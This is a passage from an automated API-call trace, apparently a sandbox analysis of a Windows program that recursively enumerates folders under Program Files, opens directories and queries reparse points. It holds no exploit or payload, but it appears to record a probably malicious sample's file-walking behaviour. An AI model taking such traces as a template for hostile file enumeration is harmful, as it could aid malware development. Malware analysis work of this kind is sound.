ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessories", cAlternateFileName="")) returned 1 [0080.327] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.327] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows NT\\Accessories" (normalized: "c:\\program files\\windows nt\\accessories"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.327] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\Accessories" (normalized: "c:\\program files\\windows nt\\accessories"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0080.327] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0080.327] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.327] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0080.328] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.328] NtClose (Handle=0x164) returned 0x0 [0080.328] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.328] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.328] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fde80 [0080.328] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.328] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows NT\\Accessories\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0080.328] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.328] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0080.328] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e3a861e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9e3a861e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9e7acb45, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x45f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordpad.exe", cAlternateFileName="")) returned 1 [0080.329] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.329] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.329] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.345] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.345] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.346] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.346] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea54dff0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xea54dff0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x464289e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x3a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordpadFilter.dll", cAlternateFileName="")) returned 1 [0080.346] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.346] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.346] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.346] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.346] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.346] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.346] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea54dff0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xea54dff0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x464289e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x3a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordpadFilter.dll", cAlternateFileName="")) returned 0 [0080.346] GetLastError () returned 0x12 [0080.347] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows NT\\Accessories\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9000 [0080.347] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0080.347] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.347] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0080.347] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.347] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows NT\\Accessories\\en-US" (normalized: "c:\\program files\\windows nt\\accessories\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.347] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\Accessories\\en-US" (normalized: "c:\\program files\\windows nt\\accessories\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0080.347] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0080.347] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.348] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0080.348] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.348] NtClose (Handle=0x164) returned 0x0 [0080.348] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.348] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.348] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe0a0 [0080.348] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe128 [0080.349] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows NT\\Accessories\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0080.349] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.349] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe421d16, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe421d16, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordpad.exe.mui", cAlternateFileName="")) returned 1 [0080.349] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe1b0 [0080.349] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe1b0) returned 1 [0080.349] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe1b0 [0080.349] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe1b0) returned 1 [0080.349] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe1b0 [0080.350] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe421d16, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe421d16, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordpad.exe.mui", cAlternateFileName="")) returned 0 [0080.350] GetLastError () returned 0x12 [0080.350] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows NT\\Accessories\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9180 [0080.350] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0080.350] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.350] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe421d16, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe421d16, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordpad.exe.mui", cAlternateFileName="")) returned 1 [0080.350] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe421d16, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe421d16, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordpad.exe.mui", cAlternateFileName="")) returned 0 [0080.350] GetLastError () returned 0x12 [0080.350] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe128) returned 1 [0080.350] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0080.351] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe0a0) returned 1 [0080.351] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.351] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e3a861e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9e3a861e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9e7acb45, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x45f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordpad.exe", cAlternateFileName="")) returned 1 [0080.351] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea54dff0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xea54dff0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x464289e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x3a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordpadFilter.dll", cAlternateFileName="")) returned 1 [0080.351] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea54dff0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xea54dff0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x464289e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x3a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordpadFilter.dll", cAlternateFileName="")) returned 0 [0080.351] GetLastError () returned 0x12 [0080.351] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fdf90) returned 1 [0080.351] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0080.351] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fde80) returned 1 [0080.351] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.351] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddf14c20, ftCreationTime.dwHighDateTime=0x1d5731a, ftLastAccessTime.dwLowDateTime=0x718e2c00, ftLastAccessTime.dwHighDateTime=0x1d57a9b, ftLastWriteTime.dwLowDateTime=0x718e2c00, ftLastWriteTime.dwHighDateTime=0x1d57a9b, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="leechftp.exe", cAlternateFileName="")) returned 1 [0080.351] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5739a390, ftCreationTime.dwHighDateTime=0x1d578fa, ftLastAccessTime.dwLowDateTime=0x1e7dffb0, ftLastAccessTime.dwHighDateTime=0x1d56a8b, ftLastWriteTime.dwLowDateTime=0x1e7dffb0, ftLastWriteTime.dwHighDateTime=0x1d56a8b, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="measurement_standings_errors.exe", cAlternateFileName="")) returned 1 [0080.351] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="")) returned 1 [0080.351] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows NT\\TableTextService" (normalized: "c:\\program files\\windows nt\\tabletextservice"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0080.352] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\TableTextService" (normalized: "c:\\program files\\windows nt\\tabletextservice"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0080.352] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0080.352] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.352] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0080.352] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.352] NtClose (Handle=0x124) returned 0x0 [0080.352] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.352] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.352] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fde80 [0080.353] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fdf90 [0080.353] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9000 [0080.353] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.353] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0080.353] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46672035, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x46672035, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x449faf50, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService.dll", cAlternateFileName="")) returned 1 [0080.353] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.353] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.353] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.353] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.354] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.354] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72d933d2, ftCreationTime.dwHighDateTime=0x1ca0400, ftLastAccessTime.dwLowDateTime=0x72d933d2, ftLastAccessTime.dwHighDateTime=0x1ca0400, ftLastWriteTime.dwLowDateTime=0x6e10ff3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3f54, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceAmharic.txt", cAlternateFileName="")) returned 1 [0080.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.354] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.354] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0080.355] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fde80) returned 1 [0080.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4790 [0080.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123d858 [0080.355] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.355] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a73731, ftCreationTime.dwHighDateTime=0x1ca0400, ftLastAccessTime.dwLowDateTime=0x72a73731, ftLastAccessTime.dwHighDateTime=0x1ca0400, ftLastWriteTime.dwLowDateTime=0x6e8340d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x136bf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceArray.txt", cAlternateFileName="")) returned 1 [0080.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.355] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.356] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f47b0 [0080.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123d960 [0080.356] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fcfa0) returned 1 [0080.356] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8340d, ftCreationTime.dwHighDateTime=0x1c9ea0f, 